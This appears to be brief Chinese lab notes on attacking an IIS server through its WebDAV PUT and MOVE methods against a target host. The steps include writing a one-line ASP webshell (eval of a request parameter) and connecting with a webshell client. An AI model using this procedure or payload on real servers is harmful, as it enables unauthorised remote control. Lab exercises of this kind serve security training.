iis put上传实验
将相关文件上传到靶机
在cmd命令行中输入相关文件所在的路径
设置来宾访问设置权限
然后打开iisPutscanner.exe,输入要攻击的IP地址,例如:192.168.0.139
然后打开IISwrite.exe
域名写为192.168.0.139前面先选择OPTIONS 后面文件写入/test.txt,创建成功后
改为PUT,创建并选择一个文本写入一句话木马(例如:<%eval (request(“value”))%>),后面文件写入/t.asp,会出现识别不到的错误,这时我们要把asp改为txt
改为move提交
这时我们可以看到shell.asp创建成功
在本机打开蚁剑进行测试